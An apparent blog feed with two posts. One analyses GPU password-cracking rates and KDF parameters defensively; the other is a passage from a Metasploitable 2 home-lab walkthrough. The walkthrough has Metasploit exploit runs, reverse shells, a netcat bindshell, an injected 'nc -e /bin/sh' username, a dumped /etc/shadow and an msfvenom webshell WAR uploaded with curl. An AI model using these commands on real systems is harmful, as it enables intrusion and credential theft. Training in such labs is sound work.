<p>Memory-hard functions are designed so that the computation requires a large working memory that must be repeatedly accessed in a pattern that defeats caching. Argon2, designed by Biryukov, Dinu, and Khovratovich and the winner of the 2015 Password Hashing Competition, fills a configurable memory array of size <code class="language-plaintext highlighter-rouge">m</code> (typically 64 MB to several GB) and references locations in a data-dependent pattern — meaning no element can be computed until prior elements are known, and the entire array must be resident in memory.</p>

<p>The GDDR6X memory in an RTX 4080 provides 716 GB/s bandwidth — impressive, but shared across all 9,728 CUDA cores. If each Argon2 computation requires 64 MB of memory access, the GPU cannot run many independent instances simultaneously without thrashing the 16 GB VRAM. While a CPU evaluating Argon2 benefits from the L1/L2 cache hierarchy, a GPU trying to run 1,000 parallel Argon2 instances is competing for 64 TB/s of memory bandwidth it doesn’t have.</p>

<p>The Argon2 authors formalised this as <strong>memory bandwidth cost</strong>: the time to compute one Argon2 evaluation is dominated by memory bandwidth, not compute throughput. Since GPU memory bandwidth per thread is roughly similar to CPU memory bandwidth per core (and worse for parallel instances competing for shared bandwidth), GPU acceleration provides no meaningful advantage.</p>

<p>Concretely: the RTX 4080 achieving 180 Argon2id/s while a single i7 core achieves ~1,200/s reflects this directly. Scale to 12 CPU cores: ~14,400/s CPU vs ~180/s GPU. The GPU is 80× <em>slower</em> than the CPU for this workload.</p>

<hr />

<h2 id="the-table-coverage-problem--why-salting-breaks-precomputation">The table coverage problem — why salting breaks precomputation</h2>

<p>Rainbow tables are precomputed over the hash function <code class="language-plaintext highlighter-rouge">H(p)</code> applied directly to the plaintext <code class="language-plaintext highlighter-rouge">p</code>. This only works when the stored digest is <code class="language-plaintext highlighter-rouge">H(password)</code>.</p>

<p>Every modern password hashing system adds a <strong>salt</strong>: a random value stored alongside the digest, included in the computation: <code class="language-plaintext highlighter-rouge">H(salt || password)</code> or equivalently via a KDF. Since the salt is unique per account (typically 16–32 random bytes), the effective plaintext space for a given stored digest is not <code class="language-plaintext highlighter-rouge">P</code> but <code class="language-plaintext highlighter-rouge">{salt} × P</code> — a space <code class="language-plaintext highlighter-rouge">2^128</code> times larger for a 16-byte salt.</p>

<p>A rainbow table that covers the original <code class="language-plaintext highlighter-rouge">P</code> covers none of <code class="language-plaintext highlighter-rouge">{salt_x} × P</code> for any specific salt <code class="language-plaintext highlighter-rouge">x</code>. An attacker would need to precompute a separate rainbow table for every salt — which defeats the entire purpose of precomputation and reduces the problem to per-account brute force.</p>

<p><strong>This is why rainbow tables are irrelevant against any correctly implemented password storage system:</strong></p>

<table>
  <thead>
    <tr>
      <th>Storage method</th>
      <th>Salted</th>
      <th>Rainbow table attack viable?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Plaintext</td>
      <td>N/A</td>
      <td>N/A (no attack needed)</td>
    </tr>
    <tr>
      <td>MD5(password)</td>
      <td>No</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td>MD5(password + salt)</td>
      <td>Yes</td>
      <td>No</td>
    </tr>
    <tr>
      <td>SHA-1(password)</td>
      <td>No</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td>bcrypt</td>
      <td>Yes (built-in)</td>
      <td>No</td>
    </tr>
    <tr>
      <td>scrypt</td>
      <td>Yes (built-in)</td>
      <td>No</td>
    </tr>
    <tr>
      <td>Argon2id</td>
      <td>Yes (built-in)</td>
      <td>No, and also memory-hard</td>
    </tr>
    <tr>
      <td>NTLM (Windows ≤XP LM)</td>
      <td>No</td>
      <td>Yes — extensively precomputed</td>
    </tr>
    <tr>
      <td>NTLM (modern Windows)</td>
      <td>Context-dependent</td>
      <td>Only without Domain Controller protections</td>
    </tr>
  </tbody>
</table>

<p>The historical significance of rainbow tables is precisely that Windows XP and earlier stored LAN Manager hashes (<code class="language-plaintext highlighter-rouge">LM</code>) with no salting and a catastrophically weak construction (passwords truncated to 14 chars, split into two 7-char halves, each DES-encrypted independently). Ophcrack’s published rainbow tables covering the entire LM hash space made cracking pre-Vista Windows passwords trivial. Modern Windows uses NTLM (MD4) with no built-in salt, which is why NTLM hashes in a dump from a domain with no additional protections remain vulnerable to the ~1-second GPU exhaustive search noted above — for short passwords.</p>

<hr />

<h2 id="what-the-rtx-4080s-performance-means-for-kdf-parameter-selection">What the RTX 4080’s performance means for KDF parameter selection</h2>

<p>The practical question for a system designer: given that a motivated adversary has access to consumer GPU hardware, what KDF parameters provide adequate resistance to offline attack?</p>

<p><strong>Attack scenario</strong>: an adversary recovers the password database (a realistic threat model — SQL injection, insider access, backup theft). For each account they want to crack, they run the KDF against candidate passwords at maximum GPU speed.</p>

<p><strong>Threat model parameters:</strong></p>
<ul>
  <li>Hardware: RTX 4080 (consumer-grade, ~€1,100)</li>
  <li>Budget: 1 GPU, 1 week of computation</li>
  <li>Target: online service with 1M user accounts</li>
</ul>

<p><strong>bcrypt</strong> at cost factor 12 runs at approximately 3,000 H/s on the RTX 4080. In one week: <code class="language-plaintext highlighter-rouge">3,000 × 604,800 ≈ 1.8 billion</code> evaluations. Against 1M accounts, that’s ~1,800 password attempts per account — enough to crack passwords in the top few thousand of any password frequency list, but not enough for a meaningful dictionary attack against randomly chosen passwords.</p>

<p>At cost factor 14 (~750 H/s): ~450 attempts per account in one week — limited to the most common 400 passwords.</p>

<p><strong>Argon2id</strong> at <code class="language-plaintext highlighter-rouge">t=3, m=65536 KB</code> (64 MB), <code class="language-plaintext highlighter-rouge">p=4</code> runs at approximately 180 H/s on the RTX 4080 — and <code class="language-plaintext highlighter-rouge">~14,400 H/s</code> on a modern CPU. In one week: <code class="language-plaintext highlighter-rouge">180 × 604,800 ≈ 109 million</code> GPU evaluations vs. <code class="language-plaintext highlighter-rouge">14,400 × 604,800 ≈ 8.7 billion</code> CPU evaluations. Against 1M accounts: ~109 attempts per account from GPU, ~8,700 from CPU. Argon2id turns the attacker’s GPU <em>against them</em> — they’re better off using a CPU.</p>

<p><strong>Recommended minimum parameters (2025):</strong></p>

<table>
  <thead>
    <tr>
      <th>KDF</th>
      <th>Parameters</th>
      <th>RTX 4080 rate</th>
      <th>Attempts/account/week</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>bcrypt</td>
      <td>cost=12</td>
      <td>~3,000 H/s</td>
      <td>~1,800</td>
    </tr>
    <tr>
      <td>bcrypt</td>
      <td>cost=14</td>
      <td>~750 H/s</td>
      <td>~450</td>
    </tr>
    <tr>
      <td>Argon2id</td>
      <td>t=3, m=64MB, p=4</td>
      <td>~180 H/s</td>
      <td>~109</td>
    </tr>
    <tr>
      <td>Argon2id</td>
      <td>t=3, m=256MB, p=4</td>
      <td>~45 H/s</td>
      <td>~27</td>
    </tr>
  </tbody>
</table>

<p>These numbers assume a <em>single</em> RTX 4080. A well-funded attacker running 10 GPUs in parallel multiplies throughput by 10 — scale the parameters accordingly.</p>

<hr />

<h2 id="system-design-implications">System design implications</h2>

<p><strong>1. Use a memory-hard KDF.</strong> Argon2id is the current recommendation from the OWASP Password Storage Cheat Sheet, the NIST Digital Identity Guidelines (SP 800-63B), and the authors of the Password Hashing Competition. bcrypt is an acceptable fallback where Argon2id is not available. MD5, SHA-1, SHA-256, and NTLM without a memory-hard wrapper are all inadequate for password storage regardless of salting.</p>

<p><strong>2. Tune parameters to your hardware budget.</strong> Argon2id parameters should be calibrated so that a single authentication takes ≥500ms on your server hardware. If your server is faster than the attacker’s laptop, you win the arms race with every parameter doubling.</p>

<p><strong>3. Unique per-account salts are non-negotiable.</strong> A salt of at least 128 bits (16 bytes), randomly generated at account creation and stored alongside the digest, eliminates all precomputed table attacks regardless of the underlying hash function’s vulnerability to GPU acceleration.</p>

<p><strong>4. GPU rate for the attacker ≠ GPU rate for you.</strong> Argon2id’s memory-hardness means a GPU cluster that costs 100× your server costs provides less than 1× the cracking throughput of your server’s CPU. This is the correct adversarial design target: make GPU parallelism useless, not just slow.</p>

<p><strong>5. Length beats complexity.</strong> A 12-character password drawn uniformly from a 70-character set has <code class="language-plaintext highlighter-rouge">70^12 ≈ 1.4×10^22</code> combinations. At 115 GH/s (NTLM GPU rate), exhaustive search would take <code class="language-plaintext highlighter-rouge">1.4×10^22 / 1.15×10^11 ≈ 1.2×10^11</code> seconds — approximately 3,800 years — even without any KDF. Adding Argon2id at 180 H/s: <code class="language-plaintext highlighter-rouge">1.4×10^22 / 180 ≈ 2.5×10^18</code> years. The attacker’s GPU becomes irrelevant. Encourage users toward longer passwords.</p>

<hr />

<h2 id="historical-significance--why-this-mattered-and-why-it-no-longer-should">Historical significance — why this mattered, and why it no longer should</h2>

<p>The pre-Vista Windows LM hash is the canonical real-world example of the problem rainbow tables solve. LM hashing had no salt, truncated passwords to 14 characters, uppercased them, split them into two 7-character halves, and DES-encrypted each half independently with a fixed key. The Ophcrack project precomputed complete rainbow tables covering the entire LM hash space — every possible 7-character password — and released them publicly. Cracking pre-Vista Windows domain hashes became a matter of minutes.</p>

<p>The NTLM replacement (MD4, no built-in salt) was better but still unsalted. Windows later added per-connection challenge-response nonces (NTLMv2) to prevent replay and precomputed table attacks in authentication scenarios — but NTLM hashes extracted from SAM databases or memory via credential access tools remain vulnerable to offline GPU attack for short/common passwords, exactly as described above.</p>

<p>The lesson is straightforward and has been available in the literature since at least 2003: salted, memory-hard, cost-parameterisable password hashing is the correct approach. The GPU performance numbers exist to make this concrete. At 115 GH/s against unsalted NTLM, the 8-character password space is gone in two seconds. At 180 H/s against Argon2id with 64 MB memory, the same two seconds buys 360 evaluation attempts — a search depth of 360, not 2.8 trillion.</p>

<p>That is the number to communicate to anyone who still stores passwords with MD5.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="cybersec" /><category term="rainbow-tables" /><category term="TMTO" /><category term="CUDA" /><category term="GPU" /><category term="cryptanalysis" /><category term="hash-functions" /><category term="KDF" /><category term="Argon2" /><category term="bcrypt" /><category term="NTLM" /><category term="password-security" /><summary type="html"><![CDATA[A rigorous analysis of Hellman's time-memory tradeoff and Oechslin's rainbow table refinement, mapped onto the RTX 4080's CUDA architecture. The analysis is conducted as a study in algorithm-architecture fit — with the primary purpose of informing KDF parameter selection and defensive system design.]]></summary></entry><entry><title type="html">Home lab penetration test: Metasploitable 2 from scan to report</title><link href="https://yumas.hankouri.com/posts/2024/11/15/metasploitable-home-lab-pentest/" rel="alternate" type="text/html" title="Home lab penetration test: Metasploitable 2 from scan to report" /><published>2024-11-15T00:00:00+00:00</published><updated>2024-11-15T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2024/11/15/metasploitable-home-lab-pentest</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2024/11/15/metasploitable-home-lab-pentest/"><![CDATA[<div class="layman-summary"><p>
This is a walkthrough of a home lab penetration test against Metasploitable 2 — a virtual machine built by Rapid7 specifically to be vulnerable. Starting from an isolated network with no prior knowledge, the test works through host discovery, service enumeration, and the exploitation of eight separate vulnerabilities, five of which hand over root access without requiring any credentials. The post ends with a findings report in the format used on real engagements.
</p></div>

<p>This is the practical companion to the <a href="/posts/kali-linux-a-practical-overview/">Kali Linux overview</a>. Setup and tool descriptions are there; this post is entirely about methodology and execution.</p>

<p>The lab uses <a href="https://sourceforge.net/projects/metasploitable/">Metasploitable 2</a>, a deliberately vulnerable Ubuntu 8.04 VM developed by Rapid7 for penetration testing training. It contains dozens of known vulnerabilities across multiple services. Nothing in this post is novel or undisclosed — every finding is a public CVE with documented Metasploit modules, used in security training for over a decade.</p>

<p><strong>Important:</strong> everything here was done against a system built to be attacked, on a network isolated from anything else. Running these tools against systems you don’t own and haven’t received explicit written authorisation to test is illegal in most jurisdictions, including the Netherlands (Artikel 138ab Wetboek van Strafrecht).</p>

<hr />

<h3 id="lab-setup">Lab setup</h3>

<p><strong>Network topology:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Kali Linux VM]          [Metasploitable 2 VM]
192.168.56.100           192.168.56.101
        \                       /
    VirtualBox Host-Only Network (192.168.56.0/24)
         [isolated — no internet access]
</code></pre></div></div>

<p>Both VMs are attached to a <strong>VirtualBox Host-Only</strong> network. This is critical: not NAT, not Bridged. Host-Only creates a network that exists only between the host machine and the VMs on it. The Metasploitable target cannot reach the internet; if you misconfigure this and put Metasploitable on a Bridged adapter, you have exposed a machine full of unpatched critical vulnerabilities to your LAN.</p>

<p><strong>Downloading the targets:</strong></p>
<ul>
  <li>Kali Linux VM: <a href="https://www.kali.org/get-kali/">kali.org/get-kali</a> — official pre-built VirtualBox image</li>
  <li>Metasploitable 2: <a href="https://sourceforge.net/projects/metasploitable/">sourceforge.net/projects/metasploitable</a> — official Rapid7 release</li>
</ul>

<p><strong>VirtualBox Host-Only configuration:</strong>
In VirtualBox → Tools → Network → Host-Only Networks, create an adapter with DHCP disabled. Assign static IPs inside the VMs directly:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On Kali (run as root or with sudo)</span>
ip addr add 192.168.56.100/24 dev eth0
ip <span class="nb">link set </span>eth0 up

<span class="c"># Metasploitable 2 uses msfadmin:msfadmin credentials</span>
<span class="c"># Login and set:</span>
ifconfig eth0 192.168.56.101 netmask 255.255.255.0
</code></pre></div></div>

<p>Confirm connectivity before starting:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># From Kali</span>
ping <span class="nt">-c</span> 4 192.168.56.101
</code></pre></div></div>

<hr />

<h3 id="phase-1--reconnaissance-and-host-discovery">Phase 1 — Reconnaissance and host discovery</h3>

<p>Verify the target is up and find its address if using DHCP:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netdiscover <span class="nt">-r</span> 192.168.56.0/24 <span class="nt">-i</span> eth0
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 192.168.56.1  0a:00:27:00:00:00      1      60  Unknown vendor
 192.168.56.101 08:00:27:xx:xx:xx     1      60  PCS Systemtechnik (VirtualBox)
</code></pre></div></div>

<hr />

<h3 id="phase-2--port-scanning-and-service-enumeration">Phase 2 — Port scanning and service enumeration</h3>

<p>A full <code class="language-plaintext highlighter-rouge">nmap</code> scan covers ports, services, versions, and runs default NSE scripts:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-A</span> <span class="nt">-T4</span> <span class="nt">-p-</span> <span class="nt">-oN</span> metasploitable_full.txt 192.168.56.101
</code></pre></div></div>

<p>Selected output (Metasploitable 2 exposes an unusually large attack surface by design):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8
| http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp   open  microsoft-ds Samba smbd 3.0.20-Debian
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4)
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
</code></pre></div></div>

<p>Even without running an exploit, this scan output gives a clear picture: multiple services running outdated, vulnerable software. Port 1524 is a dead giveaway — <code class="language-plaintext highlighter-rouge">bindshell Metasploitable root shell</code> in the service description.</p>

<hr />

<h3 id="phase-3--vulnerability-identification">Phase 3 — Vulnerability identification</h3>

<p>Cross-referencing service versions against known CVEs:</p>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
      <th>Known issue</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>21</td>
      <td>vsftpd</td>
      <td>2.3.4</td>
      <td>CVE-2011-2523 — backdoor in source tarball</td>
    </tr>
    <tr>
      <td>139/445</td>
      <td>Samba</td>
      <td>3.0.20</td>
      <td>CVE-2007-2447 — usermap_script RCE</td>
    </tr>
    <tr>
      <td>3632</td>
      <td>distccd</td>
      <td>1.x</td>
      <td>CVE-2004-2687 — arbitrary command execution</td>
    </tr>
    <tr>
      <td>6667</td>
      <td>UnrealIRCd</td>
      <td>3.2.8.1</td>
      <td>CVE-2010-2075 — backdoor in source tarball</td>
    </tr>
    <tr>
      <td>5900</td>
      <td>VNC</td>
      <td>3.3</td>
      <td>No authentication configured</td>
    </tr>
    <tr>
      <td>1524</td>
      <td>bindshell</td>
      <td>—</td>
      <td>Intentional root shell, no authentication</td>
    </tr>
    <tr>
      <td>3306</td>
      <td>MySQL</td>
      <td>5.0.51a</td>
      <td>No root password set</td>
    </tr>
    <tr>
      <td>8180</td>
      <td>Tomcat</td>
      <td>Coyote 1.1</td>
      <td>Default credentials (tomcat:tomcat)</td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">searchsploit</code> tool confirms available Metasploit modules for each:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit vsftpd 2.3.4
searchsploit samba usermap
searchsploit distcc
searchsploit unrealircd
</code></pre></div></div>

<hr />

<h3 id="phase-4--exploitation">Phase 4 — Exploitation</h3>

<p>Starting Metasploit:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole <span class="nt">-q</span>
</code></pre></div></div>

<hr />

<h4 id="finding-1--vsftpd-234-backdoor-cve-2011-2523">Finding 1 — vsftpd 2.3.4 backdoor (CVE-2011-2523)</h4>

<p>The vsftpd 2.3.4 source tarball hosted on the project’s website was quietly replaced with a backdoored version between June 30 and July 1, 2011. The backdoor: if a username containing <code class="language-plaintext highlighter-rouge">:)</code> is sent during the FTP handshake, the daemon opens a bind shell on TCP port 6200. The original maintainer discovered and removed it within days, but the backdoored version was already in distribution.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; set RHOSTS 192.168.56.101
RHOSTS =&gt; 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; run

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.100:56231 → 192.168.56.101:6200)

id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/shadow | head -5
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
</code></pre></div></div>

<p>Root shell obtained. The shadow file hash demonstrates full credential access.</p>

<hr />

<h4 id="finding-2--samba-usermap_script-cve-2007-2447">Finding 2 — Samba usermap_script (CVE-2007-2447)</h4>

<p>Samba versions 3.0.20 through 3.0.25rc3 pass username input to <code class="language-plaintext highlighter-rouge">/bin/sh</code> via the <code class="language-plaintext highlighter-rouge">username map script</code> configuration option without sanitising shell metacharacters. Sending a username like <code class="language-plaintext highlighter-rouge">"/=</code>nohup nc -l -p 4444 -e /bin/sh<code class="language-plaintext highlighter-rouge">"</code> causes the shell metacharacters to be executed by the Samba daemon.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) &gt; set RHOSTS 192.168.56.101
msf6 exploit(multi/samba/usermap_script) &gt; set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) &gt; set LHOST 192.168.56.100
msf6 exploit(multi/samba/usermap_script) &gt; run

[*] Started reverse TCP double handler on 192.168.56.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo d1Qa8VZsKrCupf3j;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] B: "d1Qa8VZsKrCupf3j\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.56.100:4444 → 192.168.56.101:38214)

id
uid=0(root) gid=0(root)
hostname
metasploitable
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
</code></pre></div></div>

<p>Another root shell via an entirely different service.</p>

<hr />

<h4 id="finding-3--distcc-arbitrary-code-execution-cve-2004-2687">Finding 3 — distcc arbitrary code execution (CVE-2004-2687)</h4>

<p><code class="language-plaintext highlighter-rouge">distccd</code> is a distributed compiler daemon. In versions up to 3.1, it accepts arbitrary compilation jobs from the network without authentication. A malformed job can be crafted to execute commands rather than compile code. The daemon runs as the <code class="language-plaintext highlighter-rouge">daemon</code> user (not root), which limits the immediate impact but still provides a foothold for local privilege escalation.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) &gt; set RHOSTS 192.168.56.101
msf6 exploit(unix/misc/distcc_exec) &gt; set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) &gt; set LHOST 192.168.56.100
msf6 exploit(unix/misc/distcc_exec) &gt; run

[*] Started reverse TCP double handler on 192.168.56.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo HFqtHlLHMmhEIIEi;
[*] Command shell session 3 opened (192.168.56.100:4444 → 192.168.56.101:52180)

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
</code></pre></div></div>

<p>This lands as <code class="language-plaintext highlighter-rouge">daemon</code>. From here, a privilege escalation would be required for root. On this target, udev local privilege escalation (CVE-2009-1185) is viable given the kernel version (2.6.24), but is outside the scope of this walkthrough.</p>

<hr />

<h4 id="finding-4--unrealircd-backdoor-cve-2010-2075">Finding 4 — UnrealIRCd backdoor (CVE-2010-2075)</h4>

<p>Similarly to vsftpd, the UnrealIRCd 3.2.8.1 source tarball was backdoored on the project’s server. The backdoor: strings beginning with <code class="language-plaintext highlighter-rouge">AB</code> are passed to a system() call and executed. Discovered in June 2010; the backdoored version had been on the download server since November 2009 — roughly seven months before detection.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; set RHOSTS 192.168.56.101
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; set LHOST 192.168.56.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; run

[*] Started reverse TCP double handler on 192.168.56.100:4444
[*] Connected to 192.168.56.101:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 4 opened (192.168.56.100:4444 → 192.168.56.101:44122)

id
uid=0(root) gid=0(root)
</code></pre></div></div>

<p>Root again. Both supply-chain backdoors (vsftpd and UnrealIRCd) result in root access because the daemons run as root on this target.</p>

<hr />

<h4 id="finding-5--port-1524-root-bindshell">Finding 5 — Port 1524 root bindshell</h4>

<p>Metasploitable 2 listens on TCP 1524 with a root shell requiring no authentication. This isn’t a vulnerability in the traditional sense — it is deliberately included in the image as an obviously visible indicator that the system is intentionally vulnerable.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># From Kali</span>
nc 192.168.56.101 1524
root@metasploitable:/# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
root@metasploitable:/# <span class="nb">whoami
</span>root
</code></pre></div></div>

<p>This would be the first thing a real attacker checks after noticing the service description in the nmap output.</p>

<hr />

<h4 id="finding-6--vnc-without-authentication">Finding 6 — VNC without authentication</h4>

<p>The VNC service on port 5900 accepts connections without any password prompt:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vncviewer 192.168.56.101:5900
<span class="c"># Direct desktop session opens — no credentials required</span>
</code></pre></div></div>

<p>Full graphical access to the desktop as root.</p>

<hr />

<h4 id="finding-7--mysql-without-root-password">Finding 7 — MySQL without root password</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql <span class="nt">-h</span> 192.168.56.101 <span class="nt">-u</span> root
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to the MySQL monitor.  Commands end with ; or \g.
Server version: 5.0.51a-3ubuntu5

mysql&gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+

mysql&gt; use mysql; select user, password from user;
+------------------+-------------------------------------------+
| user             | password                                  |
+------------------+-------------------------------------------+
| root             |                                           |
| root             |                                           |
| root             |                                           |
| debian-sys-maint | *1111B68658314B5580EB744B9B7B26AA977C7AA5 |
| guest            |                                           |
+------------------+-------------------------------------------+
</code></pre></div></div>

<p>Full database access, including the Metasploit and DVWA databases.</p>

<hr />

<h4 id="finding-8--apache-tomcat-default-credentials">Finding 8 — Apache Tomcat default credentials</h4>

<p>The Tomcat Manager application at <code class="language-plaintext highlighter-rouge">http://192.168.56.101:8180/manager/html</code> accepts the default credentials <code class="language-plaintext highlighter-rouge">tomcat:tomcat</code>. The Tomcat Manager allows deployment of WAR (Web Application Archive) files. Deploying a malicious WAR containing a JSP webshell provides remote code execution as the Tomcat service user.</p>

<p>Manually constructing a JSP webshell WAR and deploying it via the Manager UI or via curl:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Generate a JSP webshell WAR with msfvenom</span>
msfvenom <span class="nt">-p</span> java/jsp_shell_reverse_tcp <span class="se">\</span>
  <span class="nv">LHOST</span><span class="o">=</span>192.168.56.100 <span class="nv">LPORT</span><span class="o">=</span>4445 <span class="se">\</span>
  <span class="nt">-f</span> war <span class="nt">-o</span> shell.war

<span class="c"># Upload via Tomcat Manager curl API</span>
curl <span class="nt">-u</span> tomcat:tomcat <span class="nt">-T</span> shell.war <span class="se">\</span>
  <span class="s2">"http://192.168.56.101:8180/manager/deploy?path=/shell&amp;update=true"</span>

<span class="c"># Trigger the webshell</span>
curl http://192.168.56.101:8180/shell/
</code></pre></div></div>

<p>With a Metasploit <code class="language-plaintext highlighter-rouge">multi/handler</code> listening on 4445, this delivers a shell as the Tomcat service account.</p>

<hr />

<h3 id="phase-5--post-exploitation-notes">Phase 5 — Post-exploitation notes</h3>

<p>With root access confirmed via multiple vectors, a real engagement would continue with:</p>

<p><strong>Persistence</strong> — adding an SSH key to <code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code>, creating a backdoor user, or installing a cron-based reverse shell. On a production system, persistence mechanisms would be documented and removed after the assessment.</p>

<p><strong>Data exfiltration simulation</strong> — identifying sensitive files: <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, database dumps, configuration files containing credentials. On Metasploitable, the MySQL database named <code class="language-plaintext highlighter-rouge">metasploit</code> contains mock data; a real assessment would document what data was accessible.</p>

<p><strong>Lateral movement</strong> — with credentials from <code class="language-plaintext highlighter-rouge">/etc/shadow</code> or database extracts, testing those credentials against other systems on the network.</p>

<p><strong>Network enumeration from inside</strong> — with a shell on the target, scanning internal network segments not visible from the attacker position.</p>

<p>For this lab environment, the above were verified conceptually but not executed in detail — the purpose is methodology demonstration, not a comprehensive post-exploitation exercise.</p>

<hr />

<h2 id="part-3--findings-report">Part 3 — Findings report</h2>

<p>What follows is a penetration test findings report in the format typically delivered to a client. It summarises the engagement scope, methodology, and each finding with a severity rating, technical details, and remediation guidance.</p>

<hr />

<div style="background:var(--bg2);border:1px solid var(--border);border-left:3px solid var(--red);padding:2rem;margin:2rem 0;font-family:var(--font-mono);">

<div style="font-size:0.65rem;color:var(--red);letter-spacing:0.2em;margin-bottom:1.5rem;">PENETRATION TEST REPORT — CONFIDENTIAL</div>

### Report header

| | |
|---|---|
| **Engagement type** | Internal penetration test (home lab) |
| **Target** | Metasploitable 2 — 192.168.56.101 |
